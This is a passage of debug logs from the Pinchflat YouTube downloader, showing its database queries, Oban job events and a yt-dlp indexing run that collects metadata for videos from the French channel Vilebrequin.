m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 07:39:24.322 [debug] QUERY OK source="media_items" db=1.5ms idle=11.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 07:39:24.325 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=11.5ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 07:39:24.330 [debug] QUERY OK source="tasks" db=1.0ms idle=8.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2358, 2, ~U[2026-04-19 05:39:24Z], ~U[2026-04-19 05:39:24Z]] 07:39:24.332 [info] {"args":{"id":2},"id":2352,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":88251755,"event":"job:stop","queue_time":470687,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 07:39:34.062 [info] {"source":"oban","duration":3600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.409 [info] {"source":"oban","duration":1256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 07:40:04.065 [info] {"source":"oban","duration":2831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:34.069 [info] {"source":"oban","duration":2634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:45.854 [info] {"args":{"id":1},"id":2353,"meta":{},"system_time":1776577245854716086,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 07:40:45.856 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=415.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:40:45.859 [debug] QUERY OK source="settings" db=1.7ms queue=0.2ms idle=417.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:40:46.143 [debug] QUERY OK source="media_items" db=284.0ms queue=0.1ms idle=420.1ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 07:40:46.146 [debug] QUERY OK source="media_items" db=1.8ms queue=0.1ms idle=296.7ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 07:40:46.147 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=292.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:46.149 [debug] QUERY OK source="settings" db=0.7ms idle=291.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:40:46.150 [debug] QUERY OK source="settings" db=0.7ms idle=290.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:40:46.300 [debug] QUERY OK source="media_items" db=29.3ms idle=126.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 07:40:46.305 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 07:40:46.306 [debug] Current batch of media processed. Will check again in 1000ms 07:40:46.308 [debug] QUERY OK source="settings" db=1.2ms queue=0.2ms idle=160.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:40:46.309 [debug] QUERY OK source="settings" db=0.8ms idle=161.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:40:46.310 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=160.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:40:46.311 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/channel/UCC9mlCpyisiIpp9YA9xV-QA --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Vilebrequin/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:4320,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/71/8b/718b0166c42868970183d9621b9c2c7be6851ca565bc244fce1b6fbce1a465b9.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c1/08/c1080523dd16eb90aead828042d978aa06fffec2470f93050ba3d70a95d631af.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 07:40:47.307 [debug] Current batch of media processed. Will check again in 1000ms 07:40:48.308 [debug] Current batch of media processed. Will check again in 1000ms 07:40:49.309 [debug] Current batch of media processed. Will check again in 1000ms 07:40:50.312 [debug] Current batch of media processed. Will check again in 1000ms 07:40:51.314 [debug] Current batch of media processed. Will check again in 1000ms 07:40:52.316 [debug] Current batch of media processed. Will check again in 1000ms 07:40:53.318 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "MERCI à tous les loulous et toutes les louloutes pour votre amour et votre soutien pendant toutes ces années. Vous nous avez fait vivre une aventure exceptionnelle qui on l'espère se poursuivra avec vous sur nos différentes aventures 👇\n\nPère Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n🔴 YTB 👉 https://www.youtube.com/@Pierre_Chabrier\n📲 TWITTER 👉 https://twitter.com/PerePChabrier\n\nSylvain Lyve :\n📲 INSTA 👉 https://www.instagram.com/sylvain_lyve\n📺TWITCH 👉 https://www.twitch.tv/sylvainlyve\n🔴 YTB 👉 https://www.youtube.com/@SylvainLyve\n📲 TWITTER 👉 https://twitter.com/sylvainlyve\n\nOn se retrouve bientôt sur TWITCH 👇\n\n- Chez Père Chabrier Samedi 09/12/2023 à 16H30 \n- Chez Sylvain Lyve Dimanche 10/12/2023 à 20H00\n\n-------------------------------------------------------------------\n\n⚠️⚠️ Nos DERNIERS stickers, porte-clés et t-shirts ⚠️⚠️\n\n👉👉👉 https://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : \nAnaelle LE MAGOROU\n\nMonteurs :\nLukasz SLEDZEWSKI\nTwitter : https://twitter.com/LukyKRN\nBaptiste MOAL\nInstagram : https://www.instagram.com/bapt.ml/\n\n--------------------------------------------------------------------\n\nMerci à toutes nos équipes pour l'accompagnement, l'aide et les bons souvenirs toutes ces années, avec une spéciale dédicace à Anaelle Lemagorou, Aurélien Le Draoulec, Joséphine Godard, Lukasz Sledzewski, Baptiste Moal, Romain Desveaux, Robin Danos, Thibault Iaccolare, Quentin Legac, Arthur Moraut, Joseph Shuman, Lucas Martin, Raphael Chiche, Alan Poirier, Hugo Leclerc, Cassandra Borie, Julien Adao, Nourhène Louizi, Loïc Arnaud, la famille W-auto ... \n\nMerci au sang de la veine NordVPN pour leur soutien infaillible :\nhttp://nordvpn.com/1000tipla\n------------------------------------------------------------------\n\nGros bisous\n\n#FIN #CPASUNEBLAGUE #VILEBREQUIN", "duration" => 1740, "filename" => "/downloads/Vilebrequin/2023-12-07 C'est fini#/C'est fini. [dh8XxY717Gw].mkv", "id" => "dh8XxY717Gw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=dh8XxY717Gw", "playlist_index" => 1, "timestamp" => 1701969303, "title" => "C'est fini.", "upload_date" => "20231207"} 07:40:53.320 [debug] QUERY OK source="sources" db=1.6ms idle=1879.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:40:53.322 [debug] QUERY OK source="sources" db=1.5ms queue=0.2ms idle=1881.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:40:53.329 [debug] QUERY OK source="media_items" db=6.2ms queue=0.2ms idle=1444.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-07 17:15:03Z], 1] 07:40:53.393 [debug] QUERY OK source="media_items" db=62.2ms queue=0.1ms idle=861.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["MERCI à tous les loulous et toutes les louloutes pour votre amour et votre soutien pendant toutes ces années. Vous nous avez fait vivre une aventure exceptionnelle qui on l'espère se poursuivra avec vous sur nos différentes aventures 👇\n\nPère Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n🔴 YTB 👉 https://www.youtube.com/@Pierre_Chabrier\n📲 TWITTER 👉 https://twitter.com/PerePChabrier\n\nSylvain Lyve :\n📲 INSTA 👉 https://www.instagram.com/sylvain_lyve\n📺TWITCH 👉 https://www.twitch.tv/sylvainlyve\n🔴 YTB 👉 https://www.youtube.com/@SylvainLyve\n📲 TWITTER 👉 https://twitter.com/sylvainlyve\n\nOn se retrouve bientôt sur TWITCH 👇\n\n- Chez Père Chabrier Samedi 09/12/2023 à 16H30 \n- Chez Sylvain Lyve Dimanche 10/12/2023 à 20H00\n\n-------------------------------------------------------------------\n\n⚠️⚠️ Nos DERNIERS stickers, porte-clés et t-shirts ⚠️⚠️\n\n👉👉👉 https://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : \nAnaelle LE MAGOROU\n\nMonteurs :\nLukasz SLEDZEWSKI\nTwitter : https://twitter.com/LukyKRN\nBaptiste MOAL\nInstagram : https://www.instagram.com/bapt.ml/\n\n--------------------------------------------------------------------\n\nMerci à toutes nos équipes pour l'accompagnement, l'aide et les bons souvenirs toutes ces années, avec une spéciale dédicace à Anaelle Lemagorou, Aurélien Le Draoulec, Joséphine Godard, Lukasz Sledzewski, Baptiste Moal, Romain Desveaux, Robin Danos, Thibault Iaccolare, Quentin Legac, Arthur Moraut, Joseph Shuman, Lucas Martin, Raphael Chiche, Alan Poirier, Hugo Leclerc, Cassandra Borie, Julien Adao, Nourhène Louizi, Loïc Arnaud, la famille W-auto ... \n\nMerci au sang de la veine NordVPN pour leur soutien infaillible :\nhttp://nordvpn.com/1000tipla\n------------------------------------------------------------------\n\nGros bisous\n\n#FIN #CPASUNEBLAGUE #VILEBREQUIN", "C'est fini.", "b44440bf-572a-45b9-9811-1d7167200908", "dh8XxY717Gw", 1740, false, "https://www.youtube.com/watch?v=dh8XxY717Gw", 1, "/downloads/Vilebrequin/2023-12-07 C'est fini#/C'est fini. [dh8XxY717Gw].mkv", false, false, false, 1, [], 98, ~U[2023-12-07 17:15:03Z], ~U[2026-04-19 05:40:53Z], ~U[2026-04-19 05:40:53Z], "MERCI à tous les loulous et toutes les louloutes pour votre amour et votre soutien pendant toutes ces années. Vous nous avez fait vivre une aventure exceptionnelle qui on l'espère se poursuivra avec vous sur nos différentes aventures 👇\n\nPère Chabrier :\n📲 INSTA 👉 https://www.instagram.com/pierre_chabrier\n📺TWITCH 👉 https://www.twitch.tv/perechabrier\n🔴 YTB 👉 https://www.youtube.com/@Pierre_Chabrier\n📲 TWITTER 👉 https://twitter.com/PerePChabrier\n\nSylvain Lyve :\n📲 INSTA 👉 https://www.instagram.com/sylvain_lyve\n📺TWITCH 👉 https://www.twitch.tv/sylvainlyve\n🔴 YTB 👉 https://www.youtube.com/@SylvainLyve\n📲 TWITTER 👉 https://twitter.com/sylvainlyve\n\nOn se retrouve bientôt sur TWITCH 👇\n\n- Chez Père Chabrier Samedi 09/12/2023 à 16H30 \n- Chez Sylvain Lyve Dimanche 10/12/2023 à 20H00\n\n-------------------------------------------------------------------\n\n⚠️⚠️ Nos DERNIERS stickers, porte-clés et t-shirts ⚠️⚠️\n\n👉👉👉 https://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : \nAnaelle LE MAGOROU\n\nMonteurs :\nLukasz SLEDZEWSKI\nTwitter : https://twitter.com/LukyKRN\nBaptiste MOAL\nInstagram : https://www.instagram.com/bapt.ml/\n\n--------------------------------------------------------------------\n\nMerci à toutes nos équipes pour l'accompagnement, l'aide et les bons souvenirs toutes ces années, avec une spéciale dédicace à Anaelle Lemagorou, Aurélien Le Draoulec, Joséphine Godard, Lukasz Sledzewski, Baptiste Moal, Romain Desveaux, Robin Danos, Thibault Iaccolare, Quentin Legac, Arthur Moraut, Joseph Shuman, Lucas Martin, Raphael Chiche, Alan Poirier, Hugo Leclerc, Cassandra Borie, Julien Adao, Nourhène Louizi, Loïc Arnaud, la famille W-auto ... \n\nMerci au sang de la veine NordVPN pour leur soutien infaillible :\nhttp://nordvpn.com/1000tipla\n------------------------------------------------------------------\n\nGros bisous\n\n#FIN #CPASUNEBLAGUE #VILEBREQUIN", "C'est fini.", "dh8XxY717Gw", 1740, false, "https://www.youtube.com/watch?v=dh8XxY717Gw", "/downloads/Vilebrequin/2023-12-07 C'est fini#/C'est fini. [dh8XxY717Gw].mkv", false, 1, ~U[2023-12-07 17:15:03Z]] 07:40:53.396 [debug] QUERY OK source="sources" db=2.1ms queue=0.2ms idle=513.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:40:53.399 [debug] QUERY OK source="media_profiles" db=1.9ms queue=0.4ms idle=76.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:53.403 [debug] QUERY OK source="media_items" db=3.0ms queue=0.3ms idle=77.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 07:40:53.403 [debug] Current batch of media processed. Will check again in 1000ms 07:40:54.404 [debug] Current batch of media processed. Will check again in 1000ms 07:40:55.406 [debug] Current batch of media processed. Will check again in 1000ms 07:40:56.407 [debug] Current batch of media processed. Will check again in 1000ms 07:40:57.409 [debug] Current batch of media processed. Will check again in 1000ms 07:40:58.411 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Les pizzas Del Arte sont disponibles à la livraison et en Click&Collect dans le restaurant le plus proche de chez vous : https://www.delarte.fr/commander/commande-en-ligne\nUn immense merci à eux pour le soutien et régalez vous bien.\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\nMerci à tous les participants techniques sur ce tournage :\n\nProduction : Anaëlle LE MAGOROU ( merci pour les jantes ) et Cassandra BORIE\nAgent : Joséphine GODARD\nAssistant Réal : Hugo JOUY\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nSon : Alan POIRIER\nDrone : Vladimir KADIR et Baptiste MOAL\nRégisseur plateau : Thierry Marat et François CHATAL\nDéco : Sarah VON. SAURMA, Mona VETTOREL, Léo LEDERFAJN\nMécanique : La Fabrique Auto - Joseph, Greg et Arthur ( ainsi que pour ta vie mise en jeu )\nConstruction rond point : Noblet Solution - Loïc Arnaud\nOsthéo : Thomas BATON\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\n\nMerci à la base 217 pour leur accueil sur la piste\n\nMerci à l'équipe de la sécurité civile \n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#rondpoint #crash #vilebrequinairline", "duration" => 2156, "filename" => "/downloads/Vilebrequin/2023-11-30 On prend un ROND POINT à 160KM⧸H/On prend un ROND POINT à 160KM⧸H [HfuNf9F0Ivc].mkv", "id" => "HfuNf9F0Ivc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=HfuNf9F0Ivc", "playlist_index" => 2, "timestamp" => 1701364501, "title" => "On prend un ROND POINT à 160KM/H", "upload_date" => "20231130"} 07:40:58.414 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=1942.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 07:40:58.417 [debug] QUERY OK source="sources" db=1.9ms queue=0.9ms idle=1945.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:40:58.421 [debug] QUERY OK source="media_items" db=3.5ms queue=0.3ms idle=1516.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-30 17:15:01Z], 1] 07:40:58.434 [debug] QUERY OK source="media_items" db=8.5ms idle=953.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Les pizzas Del Arte sont disponibles à la livraison et en Click&Collect dans le restaurant le plus proche de chez vous : https://www.delarte.fr/commander/commande-en-ligne\nUn immense merci à eux pour le soutien et régalez vous bien.\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\nMerci à tous les participants techniques sur ce tournage :\n\nProduction : Anaëlle LE MAGOROU ( merci pour les 